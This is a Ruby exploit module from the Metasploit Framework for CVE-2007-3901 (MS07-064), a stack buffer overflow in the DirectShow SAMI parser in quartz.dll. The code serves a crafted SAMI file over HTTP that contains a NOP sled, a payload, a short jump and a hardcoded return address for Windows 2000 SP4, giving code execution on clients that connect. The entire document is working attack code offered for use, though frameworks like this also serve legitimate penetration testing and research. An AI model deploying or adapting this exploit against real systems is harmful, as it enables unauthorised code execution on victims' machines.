##
# $Id: ms07_064_sami.rb 10550 2010-10-05 01:05:49Z mc $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::TcpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft DirectX DirectShow SAMI Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the DirectShow Synchronized
Accessible Media Interchanged (SAMI) parser in quartz.dll. This module
has only been tested with Windows Media Player (6.4.09.1129) and
DirectX 8.0.
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'Version' => '$Revision: 10550 $',
'References' =>
[
[ 'CVE', '2007-3901' ],
[ 'OSVDB', '39126' ],
[ 'MSB', 'MS07-064' ],
[ 'BID', '26789' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 Pro SP4 English', { 'Offset' => 22412, 'Ret' => 0x75022ac4 } ],
],
'Privileged' => false,
'DisclosureDate' => 'Dec 11 2007',
'DefaultTarget' => 0))
end
def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
client.get_once
buffer = make_nops(target['Offset'] - payload.encoded.length) + payload.encoded
buffer << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
buffer << make_nops(10) + [0xe8, -485].pack('CV') + rand_text_english(132324)
header = "HTTP/1.1 200 OK\r\n"
header << "Content-Type: application/smil\r\n\r\n"
body = "<SAMI>\r<HEAD>\r<STYLE TYPE=\"text/css\">\r"
body << "<!--\rP {font-size: 1em;\rfont-family: Arial;\r"
body << "font-weight: normal;\rcolor: #FFFFFF;\r"
body << "background: #FFFFFF;\rtext-align: center;\r"
body << "padding-left: 2px;\rpadding-right: 2px;\r"
body << "padding-bottom: 2px;\r}\r.ENUSCC { Name: English; lang: EN-US-CC; }\r"
body << "-->\r</STYLE>\r</HEAD>\r<BODY>\r"
body << "<SYNC Start=\"0\" pippo=\"" + buffer
body << "\"><P Class=\"ENUSCC\"></P></SYNC></BODY></SAMI>"
sploit = header + body
print_status("Sending #{sploit.length} bytes to #{client.peerhost}:#{client.peerport}...")
client.put(sploit)
handler(client)
service.close_client(client)
end
end
